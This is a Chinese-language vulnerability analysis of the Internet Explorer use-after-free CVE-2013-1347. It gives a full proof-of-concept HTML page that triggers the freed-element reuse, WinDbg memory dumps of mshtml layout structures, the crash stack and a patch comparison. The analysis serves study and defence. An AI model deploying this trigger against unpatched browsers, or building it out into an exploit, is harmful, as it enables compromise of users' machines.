CVE-2013-1347 UAF分析

浏览:
字体:
发布时间:2013-12-09 23:24:07
来源:
1.  POC
         
<!doctype html>         <HTML XMLNS:t ="urn:schemas-microsoft-com:time">         <head>         <meta>                   <?IMPORT namespace="t" implementation="#default#time2">         </meta>          <script>          function helloWorld()    {                   Math.tan(2,3);                   f0 = document.createElement('span');                   document.body.appendChild(f0);                   Math.sin(0)                   f1 = document.createElement('span');                   document.body.appendChild(f1);                   Math.cos(0);                   f2 = document.createElement('span');                   document.body.appendChild(f2);                   document.body.contentEditable="true";                    Math.tan(2,3);                   f2.appendChild(document.createElement('datalist'));                   Math.sin(0);                   f1.appendChild(document.createElement('span'));                   Math.cos(5);                   f1.appendChild(document.createElement('table'));                   Math.tan(2,3)                   try      { f0.offsetParent=null;}                   catch(e) { }                   Math.sin(0);                   f2.innerHTML = "";                   Math.cos(0);                   f0.appendChild(document.createElement('hr'));                   Math.tan(2,3);                   f1.innerHTML = "";                   Math.sin(0);                   CollectGarbage();                   Math.cos(0);         }          </script>         </head>         <body onload="eval(helloWorld());">         </body>         </html>

 

 
2.  基本知识点
IE在构建DOM树的过程中,使用CTreeNode来作为构建DOM树的数据结构。
CTreeNode中包含CTreePos元素,beginPos,endPos来指明节点的起始标记和终止标记。
CTreeNode +x44指向CLayoutBlock。
在DOM树构建时,进行Layout时,会生成相应的数据结构CLayoutBlock来记录布局的信息。CLayoutBlock的继承类CTextBlock在+x58处指向一个数组,基本格式如下:
给数组记录各个标记的信息。
arrayElement:
         +x00: flag (具体含义不清)
         +x04:在数组中的index
         +x08: CTreePos
         +x0c: CTreePos所在的CTreeNode或者是(非节点类型的元素)CTreeDataPos

CLayoutBlock
         +x0c: beginPos
    +x10:endPos
         +1c: pPrevBlock
         +20:pNextBlock
 
CLayoutBlock作为一个双向链表,将所有的CLayoutBlock给链接起来。
 
         这里需要注意的问题是,DOM数据结构的改变和CLayoutBlock的更新不是同步的(要是只要有DOM改变就更新CLayoutBlock的话,效率太低),CLayoutBlock的更新只有在需要重绘时才会进行。
 
3.  元素的创建
3.1  CTreeNode CElement
在执行到Poc中的如下语句时,元素基本创建完成。
try      { f0.offsetParent=null;}                   catch(e) { } F0CElement0:008> dc eax0a832fd8  3e5cf7e0 00000001 00000008 00000000  ../>............0a832fe8  00000000 00000000 0000005b 00000000  ........[.......0a832ff8  00000000 09378fe8 ???????? ????????  ......7.???????? CTreeNode0:008> dc eax0aae2fb0  0a832fd8 0e146fb0 ffff005b ffffffff  ./...o..[.......0aae2fc0  00000000 00000000 00000000 00000000  ................0aae2fd0  00000000 00000000 00000000 00000000  ................0aae2fe0  00000000 00000000 00000000 00000000  ................0aae2ff0  00000008 00000000 00000000 d0d0d0d0  ................ F1CElement0:008> dc eax0b380fd8  3e5cf7e0 00000001 00000008 00000000  ../>............0b380fe8  00000000 00000000 0000005b 00000000  ........[.......0b380ff8  00000000 09378fe8 ???????? ????????  ......7.???????? CTreeNode0:008> dc eax0b3a1fb0  0b380fd8 0e146fb0 ffff005b ffffffff  ..8..o..[.......0b3a1fc0  00000000 00000000 00000000 00000000  ................0b3a1fd0  00000000 00000000 00000000 00000000  ................0b3a1fe0  00000000 00000000 00000000 00000000  ................0b3a1ff0  00000008 00000000 00000000 d0d0d0d0  ................ F20:008> dc eax0ba62fd8  3e5cf7e0 00000001 00000008 00000000  ../>............0ba62fe8  00000000 00000000 0000005b 00000000  ........[.......0ba62ff8  00000000 09378fe8 ???????? ????????  ......7.???????? CTreeNode0:008> dc eax0ba72fb0  0ba62fd8 0e146fb0 ffff005b ffffffff  ./...o..[.......0ba72fc0  00000000 00000000 00000000 00000000  ................0ba72fd0  00000000 00000000 00000000 00000000  ................0ba72fe0  00000000 00000000 00000000 00000000  ................0ba72ff0  00000008 00000000 00000000 d0d0d0d0  ................ F2 CHILD CGenericElementCElement0:008> dc eax095eafc8  3e5cf7e0 00000001 00000008 00000000  ../>............095eafd8  00000000 00000000 00000075 00000000  ........u.......095eafe8  00000000 09378fe8 00000000 00000000  ......7.........095eaff8  00000000 00000000 ???????? ????????  ........???????? CTreeNode096f2fb0  095eafc8 0ba72fb0 ffff0075 ffffffff  ..^../..u.......096f2fc0  00000000 00000000 00000000 00000000  ................096f2fd0  00000000 00000000 00000000 00000000  ................096f2fe0  00000000 00000000 00000000 00000000  ................096f2ff0  00000008 00000000 00000000 d0d0d0d0  ................ F1 child1 spanCElement0:008> dc eax09f14fd8  3e5cf7e0 00000001 00000008 00000000  ../>............09f14fe8  00000000 00000000 0000005b 00000000  ........[.......09f14ff8  00000000 09378fe8 ???????? ????????  ......7.????????  CTreeNode0:008> dc 09f18fb0 09f18fb0  09f14fd8 0b3a1fb0 0007025b 00000024  .O....:.[...$...09f18fc0  00000161 00000001 0b3a1fc0 0aae2fd8  a.........:../..09f18fd0  0b3a1fc0 09f18fd8 00000c72 00000013  ..:.....r.......09f18fe0  0aae2fd8 0ac04fb8 09f18fc0 0a352fc0  ./...O......./5.09f18ff0  00000020 0dc50fa0 00000000 d0d0d0d0   ...............  F1 CHILD2 CTableCElement0:008> dc eax0a34efb8  3e5cf7e0 00000001 00000008 00000000  ../>............0a34efc8  00000000 00000000 00000061 00000000  ........a.......0a34efd8  00000000 09378fe8 00000000 00000000  ......7.........0a34efe8  00000000 00000000 00000000 00000000  ................0a34eff8  00000000 d0d0d0d0 0: 0:008> dc eax0a352fb0  0a34efb8 0b3a1fb0 ffff0061 ffffffff  ..4...:.a.......0a352fc0  00000000 00000000 00000000 00000000  ................0a352fd0  00000000 00000000 00000000 00000000  ................0a352fe0  00000000 00000000 00000000 00000000  ................0a352ff0  00000008 00000000 00000000 d0d0d0d0  ................

 

 
由于Poc中最后的问题在F2 child CGenericElement,所以下面只列出各个阶段F2 child CGenericElement各个状态。
Poc中offsetParent之后
CElement0:008> dc 095eafc8 095eafc8  3e5599f8 00000002 00000008 09632fe8  ..U>........./c.095eafd8  0b8a1dc0 096f2fb0 00000075 80010200  ...../o.u.......095eafe8  00000006 0ac04f30 095ecfec 00000000  ....0O....^.....095eaff8  00000000 00000000 ???????? ????????  ........???????? F2 inner0:008> dc 095eafc8 095eafc8  3e5599f8 00000002 00000008 09632fe8  ..U>........./c.095eafd8  0b8a1dc0 00000000 80000075 80010000  ........u.......095eafe8  00000006 0a96ffe8 095ecfec 00000000  ..........^.....095eaff8  00000000 00000000 ???????? ????????  ........???????? F0 child0:008> dc 095eafc8 095eafc8  3e5599f8 00000001 00000008 09632fe8  ..U>........./c.095eafd8  0b8a1dc0 00000000 80000075 80010000  ........u.......095eafe8  00000006 0a96ffe8 095ecfec 00000000  ..........^.....095eaff8  00000000 00000000 ???????? ????????  ........???????? F1 inner0:008> dc 095eafc8 095eafc8  3e5599f8 00000001 00000008 09632fe8  ..U>........./c.095eafd8  0b8a1dc0 00000000 80000075 80010000  ........u.......095eafe8  00000006 0a96ffe8 095ecfec 00000000  ..........^.....

 
到GC之后,CElement元素已经释放。
0:008> dc 095eafc8  (已经释放)095eafc8  ???????? ???????? ???????? ????????  ????????????????095eafd8  ???????? ???????? ???????? ????????  ????????????????095eafe8  ???????? ???????? ???????? ????????  ????????????????095eaff8  ???????? ???????? ???????? ????????  ????????????????095eb008  ???????? ???????? ???????? ????????  ????????????????095eb018  ???????? ???????? ???????? ????????  ????????????????095eb028  ???????? ???????? ???????? ????????  ????????????????095eb038  ???????? ???????? ???????? ????????  ????????????????

 
下面看看CTreeNode的内容:
offsetParent0:008> dc 096f2fb0 096f2fb0  095eafc8 0ba72fb0 00070275 00000024  ..^../..u...$...096f2fc0  00000061 00000000 096f2fd8 0ba72fc0  a......../o../..096f2fd0  0ba72fc0 096f2fd8 00000062 00000000  ./.../o.b.......096f2fe0  00000000 096f2fc0 096f2fc0 09638fe0  ...../o../o...c.096f2ff0  00000018 0abccfa0 00000000 d0d0d0d0  ................ F2 inner 0:008> dc096f2fb0  095eafc8 00000000 ffff0075 ffffffff  ..^.....u.......096f2fc0  00000071 00000000 00000000 00000000  q...............096f2fd0  00000000 096f2fd8 00000152 00000001  ...../o.R.......096f2fe0  00000000 00000000 096f2fc0 00000000  ........./o.....096f2ff0  00000010 00000000 00000000 d0d0d0d0  ................ F0 child0:008> dc 096f2fb0 096f2fb0  095eafc8 00000000 ffff0075 ffffffff  ..^.....u.......096f2fc0  00000071 00000000 00000000 00000000  q...............096f2fd0  00000000 096f2fd8 00000152 00000001  ...../o.R.......096f2fe0  00000000 00000000 096f2fc0 00000000  ........./o.....096f2ff0  00000010 00000000 00000000 d0d0d0d0  ................ F1 inner0:008> dc 096f2fb0 096f2fb0  095eafc8 00000000 ffff0075 ffffffff  ..^.....u.......096f2fc0  00000071 00000000 00000000 00000000  q...............096f2fd0  00000000 096f2fd8 00000152 00000001  ...../o.R.......096f2fe0  00000000 00000000 096f2fc0 00000000  ........./o.....096f2ff0  00000010 00000000 00000000 d0d0d0d0  ................ GC0:008> dc 096f2fb0 096f2fb0  095eafc8 00000000 ffff0075 ffffffff  ..^.....u.......096f2fc0  00000071 00000000 00000000 00000000  q...............096f2fd0  00000000 096f2fd8 00000152 00000001  ...../o.R.......096f2fe0  00000000 00000000 096f2fc0 00000000  ........./o.....096f2ff0  00000010 00000000 00000000 d0d0d0d0  ................

可以看到,GC之后,F2 child CGenericElement已经释放,但是其CTreeNode仍然存在,并且指向CElement。
 
 
3.2  CLayoutBlock GC
下满看看GC之后CLayoutBlock的内容
3.2.1  F0 CTextBlock
dc 0dc50fa00dc50fa0  3e6b94a8 00000004 00a7c497 0aae2fc0(begin pos)  ..k>........./..0dc50fb0  09f18fd8 (end pos) 0e158fc8 00000000 0bcbbfa0  ................0dc50fc0  0b94efb0 0e07cfc0 ffffffff ffffffff  ................0dc50fd0  00000000 0a259f10 00000000 00000000  ......%.........0dc50fe0  00000000 0e146fb0 00000007 3e5cf484  .....o......../>0dc50ff0  00000018 00000006 0b94afa0 d0d0d0d0  ................0dc51000  ???????? ???????? ???????? ????????  ????????????????0dc51010  ???????? ???????? ???????? ????????  ????????????????0:008> dc 0b94afa00b94afa0  00000805 00000001 0aae2fc0 0aae2fb0(f0 begin)  ........./.../..0b94afb0  00000806 00000002 0aae2fd8 0aae2fb0(f0 end)  ........./.../..0b94afc0  00000805 00000003 0b3a1fc0 0b3a1fb0(f1 begin)  ..........:...:.0b94afd0  00000805 00000004 09f18fc0 09f18fb0(f1 chid1 span begin)  ................0b94afe0  00000806 00000005 09f18fd8 09f18fb0(f1 child1 span end)  ................0b94aff0  00000806 00000006 0a352fc0 0b3a1fb0(f1 other)  ........./5...:.

 
F0 的CTextBlock中,包含了
F0 BEGIN POS
F0 END POS
F1 BEGINPOS
F1 CHILD1 SPAN BEGINPOS
F1 CHILD1 SPAN ENDPOS
由于F1 CHILD2 CTable需要特殊的渲染,故做为一个单独的CLayoutBlock进行存在。其地址由F0 CTextBlock +x20处给出0b94efb0
 

 
3.2.2  F1 child2 CTable LayoutBlock
dc 0b94efb00b94efb0  3e6b954c 00000002 0327c191 0a352fc0  L.k>......'../5.0b94efc0  00000000 0e158fc8 00000000 0dc50fa0  ................0b94efd0  0bcbbfa0 0d85ffd8 ffffffff ffffffff  ................0b94efe0  00000000 0bdecf10 3e5cf484 00000000  ........../>....

 
 
3.2.3  F2 CTextBlock
dc 0bcbbfa00bcbbfa0  3e6b94a8 00000003 00a64497 0ba72fc0  ..k>.....D.../..0bcbbfb0  0ba72fd8 0e158fc8 00000000 0b94efb0  ./..............0bcbbfc0  00000000 0dc3efc0 ffffffff ffffffff  ................0bcbbfd0  0a259f10 00000000 00000000 00000000  ..%.............0bcbbfe0  00000000 0e146fb0 00000007 3e5cf484  .....o......../>0bcbbff0  00000010 00000004 0bccbfc0 d0d0d0d0  ................0:008> dc 0bccbfc00bccbfc0  00000805 00000001 0ba72fc0 0ba72fb0(f2 begin)  ........./.../..0bccbfd0  00000805 00000002 096f2fc0 096f2fb0  (f2 child begin)  ........./o../o.0bccbfe0  00000806 00000003 096f2fd8 096f2fb0  (f2 child end )........./o../o.0bccbff0  00000806 00000004 0ba72fd8 0ba72fb0  (f2 end)........./.../.. 

从上面可以看出,GC之后,
F2 CTextBlock包含了:
F2 BEGINPOS
F2 CHILD BEGINPOS
F2 CHILD ENDPOS
F2 ENDPOS
 
从上面可以看出,GC之后,DOM已经改变,但CLayoutBlock没有变化。
 
 
4.  元素的释放
到GC之后,F2  CHILD CElement元素已经释放。
0:008> dc 095eafc8  (已经释放)095eafc8  ???????? ???????? ???????? ????????  ????????????????095eafd8  ???????? ???????? ???????? ????????  ????????????????095eafe8  ???????? ???????? ???????? ????????  ????????????????095eaff8  ???????? ???????? ???????? ????????  ????????????????095eb008  ???????? ???????? ???????? ????????  ????????????????095eb018  ???????? ???????? ???????? ????????  ????????????????095eb028  ???????? ???????? ???????? ????????  ????????????????095eb038  ???????? ???????? ???????? ????????  ???????????????? CTreeNode0:008> dc 096f2fb0 096f2fb0  095eafc8 00000000 ffff0075 ffffffff  ..^.....u.......096f2fc0  00000071 00000000 00000000 00000000  q...............096f2fd0  00000000 096f2fd8 00000152 00000001  ...../o.R.......096f2fe0  00000000 00000000 096f2fc0 00000000  ........./o.....096f2ff0  00000010 00000000 00000000 d0d0d0d0  ................

可以看到,GC之后,F2 child CGenericElement已经释放,但是其CTreeNode仍然存在,并且指向CElement。
 
5.  重用
 
5.1  重绘之后的CLayoutBlock
在POC的如下语句中,会创建F0 CHILD。
         f0.appendChild(document.createElement('hr'));
F0 CHILD CTreeNode
0:008> dc 0ac42fb0
0ac42fb0  0ac36fd8 0aae2fb0 00082230 00100015  .o.../..0"......
0ac42fc0  00000061 00000000 0aae2fd8 0aae2fc0  a......../.../..
0ac42fd0  0aae2fc0 0ac42fd8 00000072 00000000  ./.../..r.......
0ac42fe0  00000000 0aae2fd8 0ac42fc0 0aae2fd8  ...../.../.../..
0ac42ff0  00000010 0a758fc8 00000000 d0d0d0d0  ......u.........
 
重绘之后的CLayoutBlock链表。
5.1.1  F0
dc 0dc50fa0
0dc50fa0  3e6b94a8 00000003 00a7c497 0aae2fc0  ..k>........./..
0dc50fb0  0aae2fc0 0e158fc8 00000000 0bcbbfa0  ./..............
0dc50fc0  0a24dfc8 0e07cfc0 ffffffff ffffffff  ..$.............
0dc50fd0  0a259f10 0a259f10 00000002 00000005  ..%...%.........
0dc50fe0  00000001 0e146fb0 00000007 3e5cf484  .....o......../>
0dc50ff0  00000008 00000004 0a1aefc0 d0d0d0d0  ................
 
0:008> dc 0a1aefc0
0a1aefc0  00000805 00000001 0aae2fc0 0aae2fb0(F0 BEGIN) ........./.../..
0a1aefd0  00000806 00000002 09dfafc0 0aae2fb0(F0 OTHER)  ............./..
0a1aefe0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0  ................
0a1aeff0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0  ................
 
5.1.2  F0 Child
0:008> dc 0a24dfc8
0a24dfc8  3e6b949c 00000002 0005e199 09dfafc0  ..k>............
0a24dfd8  00000000 0e158fc8 00000000 0dc50fa0  ................
0a24dfe8  0a2c0fa0 00000000 ffffffff ffffffff  ..,.............
0a24dff8  00000000 00000000 ???????? ????????  ........????????
 
5.1.3  F1
dc 0a2c0fa0
0a2c0fa0  3e6b94a8 00000004 0005e497 0b3a1fc0  ..k>..........:.
0a2c0fb0  0ba72fd8 0e158fc8 00000000 0a24dfc8  ./............$.
0a2c0fc0  0bcbbfa0 00000000 ffffffff ffffffff  ................
0a2c0fd0  0a259f10 00000000 00000000 00000000  ..%.............
0a2c0fe0  00000006 0e146fb0 00000007 3e5cf484  .....o......../>
0a2c0ff0  00000010 00000004 0a2ecfc0 d0d0d0d0  ................
0:008> dc 0a2ecfc0
0a2ecfc0  00000805 00000001 0b3a1fc0 0b3a1fb0(F1 BEGIN)  ..........:...:.
0a2ecfd0  00000806 00000002 0b3a1fd8 0b3a1fb0(F1 END)  ..........:...:.
0a2ecfe0  00000805 00000003 0ba72fc0 0ba72fb0(F2 BEGIN)  ........./.../..
0a2ecff0  00000806 00000004 0ba72fd8 0ba72fb0(F2 END)  ........./.../..
在重绘的过程中,由于F1的子节点都被销毁,所以F1 CLayoutBlock被更新,由于F2
的渲染类型和F1相同,所以他被合并到F1中。
         F1 BEGIN
         F2 END
         F2 BEGIN
         F2 END    
         下面看看F1 CLayoutBlock +x20处的指针,指向0bcbbfa0。
而由上面的分析可知,0bcbbfa0指向的是F2 CTextBlock,由于F2已被合并到F1种,这个CLayoutBlock本该删去,但是却仍然存在,就是这里的这个结构,导致了问题所在。
 
5.1.4  F2 CTextBlock 错误的CLayoutBlock
dc 0bcbbfa0
0bcbbfa0  3e6b94a8 00000003 00a64497 0ba72fc0  ..k>.....D.../..
0bcbbfb0  0ba72fd8 0e158fc8 00000000 0b94efb0  ./..............
0bcbbfc0  00000000 0dc3efc0 ffffffff ffffffff  ................
0bcbbfd0  0a259f10 00000000 00000000 00000000  ..%.............
0bcbbfe0  00000000 0e146fb0 00000007 3e5cf484  .....o......../>
0bcbbff0  00000010 00000004 0bccbfc0 d0d0d0d0  ................
0:008> dc 0bccbfc0
0bccbfc0  00000805 00000001 0ba72fc0 0ba72fb0(f2 begin)  ........./.../..
0bccbfd0  00000805 00000002 096f2fc0 096f2fb0  (f2 child begin)  ........./o../o.
0bccbfe0  00000806 00000003 096f2fd8 096f2fb0  (f2 child end )........./o../o.
0bccbff0  00000806 00000004 0ba72fd8 0ba72fb0  (f2 end)........./.../..
 
从上面可以看出,GC之后,
F2 CTextBlock包含了:
F2 BEGINPOS
F2 CHILD BEGINPOS
F2 CHILD ENDPOS
F2 ENDPOS
 
从上面可以看出,重绘之后,虽然CLayout已经更新,但由于错误,导致该释放的CLayoutBlock仍然存在,最终导致了错误。
 
5.2  重用触发
由于上面的CLayoutBlock错误的存在,导致在使用该数据结构时会导致崩溃。
0:008> p(f9c.fc0): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=3ea30080 ebx=096f2fb0 ecx=095eafc8 edx=00000000 esi=02e5d190 edi=00000000eip=3e5d67d0 esp=02e5d164 ebp=02e5d17c iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050246mshtml!CElement::Doc:3e5d67d0 8b01            mov     eax,dword ptr [ecx]  ds:0023:095eafc8=????????0:008> kvChildEBP RetAddr  Args to Child             02e5d160 3e5748d1 02e5d4ac 096f2fb0 00000000 mshtml!CElement::Doc (FPO: [0,0,0])02e5d17c 3e574b3a 096f2fb0 02e5d4ac 096f2fb0 mshtml!CTreeNode::ComputeFormats+0xb902e5d428 3e583637 096f2fb0 096f2fb0 02e5d448 mshtml!CTreeNode::ComputeFormatsHelper+0x4402e5d438 3e5835f7 096f2fb0 096f2fb0 02e5d458 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x1102e5d448 3e5835de 096f2fb0 096f2fb0 02e5d464 mshtml!CTreeNode::GetFancyFormatHelper+0xf02e5d458 3e695377 096f2fb0 02e5d474 3e69513b mshtml!CTreeNode::GetFancyFormat+0x3502e5d464 3e69513b 00000000 096f2fb0 02e5d484 mshtml!ISpanQualifier::GetFancyFormat+0x5a02e5d474 3e68a9ef 00000000 0c55cfa0 02e5d4bc mshtml!SLayoutRun::HasInlineMbp+0x1002e5d484 3e6920ba 00000000 00000000 0c55cfa0 mshtml!SRunPointer::HasInlineMbp+0x5302e5d4bc 3e69201f 02e5d4db 00000000 00000000 mshtml!CLayoutBlock::GetIsEmptyContent+0xf102e5d4f4 3e647798 02e5d55f 02e5d573 0be56ff0 mshtml!CLayoutBlock::GetIsEmptyContent+0x3f02e5d540 3e6782ae 0e158fc8 0be56f30 0e146fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x25002e5d578 3e67bab8 0be56f30 00000000 0be62fc8 mshtml!CLayoutBlock::BuildBlock+0x1c102e5d63c 3e67b968 01e56f30 0be46fa8 02e5d663 mshtml!CCssDocumentLayout::GetPage+0x22a02e5d7ac 3e5bbca7 02e5d970 02e5d908 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x24702e5d8e4 3e5ce8ae 0be46fa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b802e5d9e0 3e79b38f 00100000 02e5da38 0968bfd8 mshtml!CLayout::DoLayout+0x11d02e5d9f4 3e5a90ab 02e5da38 02e5da38 3e5b232f mshtml!CCssPageLayout::Notify+0x14002e5da00 3e5b232f 00000000 0968dfb0 00000000 mshtml!NotifyElement+0x41 (FPO: [0,0,0])02e5da14 3e5a9277 02e5da38 0968dfb0 00000000 mshtml!NotifyTreeNode+0x6202e5da6c 3e5a71c2 02e5db00 093286a8 02e5db00 mshtml!NotifyAncestors+0x1b602e5dac4 3e5a7135 0ac04f30 00000000 0932876c mshtml!CMarkup::SendNotification+0x9202e5daec 3e5b222a 02e5db00 09328898 3e5826eb mshtml!CMarkup::Notify+0xd402e5db34 3e585322 0000000f 00000000 00000000 mshtml!CElement::SendNotification+0x4a02e5db58 3e6b11d6 0ba62fd8 00000001 02e5dcb4 mshtml!CElement::EnsureRecalcNotify+0x15f02e5dc7c 3e59fc8f 05c7bfd0 00000000 02e5dcc0 mshtml!CCaret::UpdateScreenCaret+0x23502e5dc8c 3e5ea349 05c7bfd0 093286a8 08554d58 mshtml!CCaret::DeferredUpdateCaret+0x3202e5dcc0 3e5d4fe6 02e5dd48 3e5d4f38 00000000 mshtml!GlobalWndOnMethodCall+0xfb02e5dce0 77d18734 000202a2 00000008 00000000 mshtml!GlobalWndProc+0x18302e5dd0c 77d18816 3e5d4f38 000202a2 00008002 USER32!InternalCallWinProc+0x2802e5dd74 77d189cd 00000000 3e5d4f38 000202a2 USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo])02e5ddd4 77d18a10 02e5de08 00000000 02e5feec USER32!DispatchMessageWorker+0x306 (FPO: [Non-Fpo])02e5dde4 3edcc015 02e5de08 00000000 01cbcf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo])02e5feec 3ed735b6 02616fe0 0040128e 0262cff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c (FPO: [Non-Fpo])02e5ffa4 3ec1408d 01cbcf58 7c817067 02e5ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo])02e5ffb4 7c80b713 0262cff0 0040128e 7c817067 iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])02e5ffec 00000000 3ec1407f 0262cff0 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])

 
6.  补丁对比
CBlockContainerBlock:: BuildBlockContainer函数中,会对CLayoutBlock进行重绘。
重绘的基本算法是:
1、  根据重绘时当时的CTreeNode节点去去生成CLayoutBlock。
2、  如果CTreeNode没有关联的CLayoutBlock,则生成相应的CLayoutBlock,如果存在,则将CTreeNode加入到CLayoutBlock中。
3、  在遍历CTreeNode的同事,也会对CLayoutBlock进行遍历,当前的CTreeNode指向的CLayoutBlock和当前的节点不一致时,需要删去改CTreeNode。
4、  当CTreeNode遍历完成之后,如果当前的CLayoutBlock的指针pLastLayoutBlock不为空,则需要进行的操作:
6.1  未补丁时的操作:

会对参数传递进来的CLayoutBlock +0x08处的第11 useflag位是否置位进行判断(一般是CRootElement对应的CLayoutBlock),如果未置位,则不会进入到RemoveChild的流程中。
下图是调试过程中的部分截图,可以看到,运行到此处时,useflag未置位,导致pLastLayoutBlock 指向的CLayoutBlock未被删除。
kvChildEBP RetAddr  Args to Child             02e5d540 3e6782ae 0e158fc8 0be56f30 00000000 mshtml!CBlockContainerBlock::BuildBlockContainer+0x502e5d578 3e67bab8 0be56f30 00000000 0be62fc8 mshtml!CLayoutBlock::BuildBlock+0x1c102e5d63c 3e67b968 01e56f30 0be46fa8 02e5d663 mshtml!CCssDocumentLayout::GetPage+0x22a02e5d7ac 3e5bbca7 02e5d970 02e5d908 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x24702e5d8e4 3e5ce8ae 0be46fa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b802e5d9e0 3e79b38f 00100000 02e5da38 0968bfd8 mshtml!CLayout::DoLayout+0x11d02e5d9f4 3e5a90ab 02e5da38 02e5da38 3e5b232f mshtml!CCssPageLayout::Notify+0x14002e5da00 3e5b232f 00000000 0968dfb0 00000000 mshtml!NotifyElement+0x41 (FPO: [0,0,0])02e5da14 3e5a9277 02e5da38 0968dfb0 00000000 mshtml!NotifyTreeNode+0x6202e5da6c 3e5a71c2 02e5db00 093286a8 02e5db00 mshtml!NotifyAncestors+0x1b602e5dac4 3e5a7135 0ac04f30 00000000 0932876c mshtml!CMarkup::SendNotification+0x9202e5daec 3e5b222a 02e5db00 09328898 3e5826eb mshtml!CMarkup::Notify+0xd402e5db34 3e585322 0000000f 00000000 00000000 mshtml!CElement::SendNotification+0x4a02e5db58 3e6b11d6 0ba62fd8 00000001 02e5dcb4 mshtml!CElement::EnsureRecalcNotify+0x15f02e5dc7c 3e59fc8f 05c7bfd0 00000000 02e5dcc0 mshtml!CCaret::UpdateScreenCaret+0x23502e5dc8c 3e5ea349 05c7bfd0 093286a8 08554d58 mshtml!CCaret::DeferredUpdateCaret+0x3202e5dcc0 3e5d4fe6 02e5dd48 3e5d4f38 00000000 mshtml!GlobalWndOnMethodCall+0xfb02e5dce0 77d18734 000202a2 00000008 00000000 mshtml!GlobalWndProc+0x18302e5dd0c 77d18816 3e5d4f38 000202a2 00008002 USER32!InternalCallWinProc+0x2802e5dd74 77d189cd 00000000 3e5d4f38 000202a2 USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo])02e5ddd4 77d18a10 02e5de08 00000000 02e5feec USER32!DispatchMessageWorker+0x306 (FPO: [Non-Fpo])02e5dde4 3edcc015 02e5de08 00000000 01cbcf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo])02e5feec 3ed735b6 02616fe0 0040128e 0262cff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c (FPO: [Non-Fpo])02e5ffa4 3ec1408d 01cbcf58 7c817067 02e5ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo])02e5ffb4 7c80b713 0262cff0 0040128e 7c817067 iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])02e5ffec 00000000 3ec1407f 0262cff0 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])  dc poi(ebp+8)0e158fc8  3e6b949c 00000004 00264099 0e146fc0  ..k>.....@&..o..0e158fd8  00000000 0be62fc8 0dc50fa0 0e158fc8  ...../..........0e158fe8  00000000 0e166fd8 ffffffff ffffffff  .....o..........0e158ff8  0dc4ef10 00000000 ???????? ????????  ........????????0e159008  ???????? ???????? ???????? ????????  ????????????????0e159018  ???????? ???????? ???????? ????????  ????????????????0e159028  ???????? ???????? ???????? ????????  ????????????????0e159038  ???????? ???????? ???????? ????????  ???????????????? .formats 00264099Evaluate expression:  Hex:     00264099  Decimal: 2506905  Octal:   00011440231  Binary:  00000000 00100110 01000000 10011001  Chars:   .&@.  Time:    Fri Jan 30 08:21:45 1970  Float:   low 3.51292e-039 high 0  Double:  1.23858e-317

 



 

 
CTextBlockdc ebp - 0c02e5d534  0bcbbfa0 0bd89fa0 00146fc0 02e5d578  .........o..x...02e5d544  3e6782ae 0e158fc8 0be56f30 0e146fd8  ..g>....0o...o..02e5d554  00000003 00000000 00e5d600 00000000  ................02e5d564  00000009 0be56f30 3e6b9653 00000009  ....0o..S.k>....02e5d574  00000000 02e5d63c 3e67bab8 0be56f30  ....<.....g>0o..02e5d584  00000000 0be62fc8 00000009 00000009  ...../..........02e5d594  00000000 02e5d900 02e5d600 00000003  ................02e5d5a4  00000000 00000000 02e5d604 02e5d600  ................ dc 0bcbbfa00bcbbfa0  3e6b94a8 00000002 00a64497 0ba72fc0  ..k>.....D.../..0bcbbfb0  0ba72fd8 0e158fc8 00000000 0bd89fa0  ./..............0bcbbfc0  00000000 0dc3efc0 ffffffff ffffffff  ................0bcbbfd0  0a259f10 00000000 00000000 00000000  ..%.............0bcbbfe0  00000000 0e146fb0 00000007 3e5cf484  .....o......../>0bcbbff0  00000010 00000004 0bccbfc0 d0d0d0d0  ................0bcbc000  ???????? ???????? ???????? ????????  ????????????????0bcbc010  ???????? ???????? ???????? ????????  ????????????????  dc 0bccbfc00bccbfc0  00000805 00000001 0ba72fc0 0ba72fb0  ........./.../..0bccbfd0  00000805 00000002 096f2fc0 096f2fb0  ........./o../o.0bccbfe0  00000806 00000003 096f2fd8 096f2fb0  ........./o../o.0bccbff0  00000806 00000004 0ba72fd8 0ba72fb0  ........./.../..0bccc000  ???????? ???????? ???????? ????????  ????????????????0bccc010  ???????? ???????? ???????? ????????  ????????????????0bccc020  ???????? ???????? ???????? ????????  ????????????????0bccc030  ???????? ???????? ???????? ????????  ????????????????

6.2  补丁时的操作

打过补丁后,可以看到,RemoveChild删去的操作,仅仅在pLastLayoutBlock指向的CLayoutBlock v40不为空时就执行,不会再判断参数传递进来的CLayoutBlock +0x08处的第11 useflag位是否置位。
下面是调试时的信息。
6.2.1  Break
 
3dbf81fb     0001 (0001)  0:**** mshtml!CBlockContainerBlock::BuildBlockContainer
3dc40458     0001 (0001)  0:**** mshtml!CLayoutBlock::RemoveChild
3dd1f50f     0001 (0001)  0:**** mshtml!CBlockContainerBlock::BuildBlockContainer+0x4ec
 
 


 
 
 
